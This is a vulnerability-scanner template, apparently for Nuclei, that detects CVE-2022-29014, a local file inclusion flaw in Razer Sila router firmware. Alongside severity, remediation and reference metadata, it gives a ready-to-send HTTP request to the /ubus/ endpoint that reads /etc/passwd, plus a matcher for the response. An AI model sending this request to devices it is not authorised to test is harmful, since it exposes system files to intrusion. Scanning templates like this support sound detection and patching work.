id: CVE-2022-29014

info:
  name: Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion
  author: edoardottt
  severity: high
  description: Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by Razer to fix the Local File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50864
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29014
    - https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
    - https://packetstormsecurity.com/files/166683/Razer-Sila-2.0.418-Local-File-Inclusion.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-29014
    epss-score: 0.65914
    epss-percentile: 0.98529
    cpe: cpe:2.3:o:razer:sila_firmware:2.0.441_api-2.0.418:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: razer
    product: sila_firmware
  tags: cve,cve2022,edb,packetstorm,razer,lfi,router,vkev,vuln

http:
  - raw:
      - |
        POST /ubus/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220538c0e6d8c306322f4399a5589b63a0ea4ad8199e27dbecf3c0db000c0446e9702203452de819e8099dffc712a3ed5367a50d28ef439e25cecb09cd875e0311bf2fd:922c64590222798bb761d5b6d8e72950